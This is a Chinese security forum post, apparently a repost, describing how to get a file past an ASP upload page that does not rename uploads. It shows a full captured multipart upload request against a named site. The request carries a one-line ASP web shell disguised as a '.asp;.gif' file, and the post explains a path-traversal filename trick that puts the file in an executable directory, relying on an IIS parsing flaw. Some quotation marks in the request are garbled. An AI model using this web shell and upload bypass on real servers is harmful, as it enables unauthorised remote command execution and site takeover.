方法不错,首先就是不强制改上传文件名。还有就是上传目录没有执行的权限。 然后用这方法貌似就可以上传到上级可写目录了。 比如抓这是抓的上传数据包: POST /upload/upfile.asp HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* Referer: http://www.2cto.com /upload/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=—————————7da290150c5e Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Host: www.tmdsb.com Content-Length: 448 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN —————————–7da290150c5e Content-Disposition: form-data; name=]act] upload —————————–7da290150c5e Content-Disposition: form-data; name=]file1″; filename=]d:/www/tmdsb/web/tmdsb.asp;.gif] Content-Type: text/plain <%execute(request("cmd"))%> —————————–7da290150c5e Content-Disposition: form-data; name=]Submit] up —————————–7da290150c5e– 然后看关键是: Content-Disposition: form-data; name=]file1″; filename=]d:/www/tmdsb/web/tmdsb.asp;.gif] 我首先呢。 filename他是如何判断 那个开始就是文件名呢? 他是判断filename里的最右边的一个]/]以后的就是文件名字了。 大家因该知道。 在windows下 [/] 和 [/] 是不分家的。 假设上传之后的目录为upload/ 然后一个可以执行可以写的目录为 tmdsb/ 那么我们只要构造 Content-Disposition: form-data; name=]file1″; filename=]d:/www/tmdsb/web/./tmdsb/tmdsb.asp;.gif] 上传的文件就成功的传进去了 tmdsb/tmdsb.asp;.gif了。 当然还要配合IIS 漏洞 才行(在只能上传图片的情况下)要是直接能上传 asp 的话就 没所谓了。by www.sb-sb.cn
查看更多关于不改文件名的情况下上传突破 - 网站安全 - 自学的详细内容...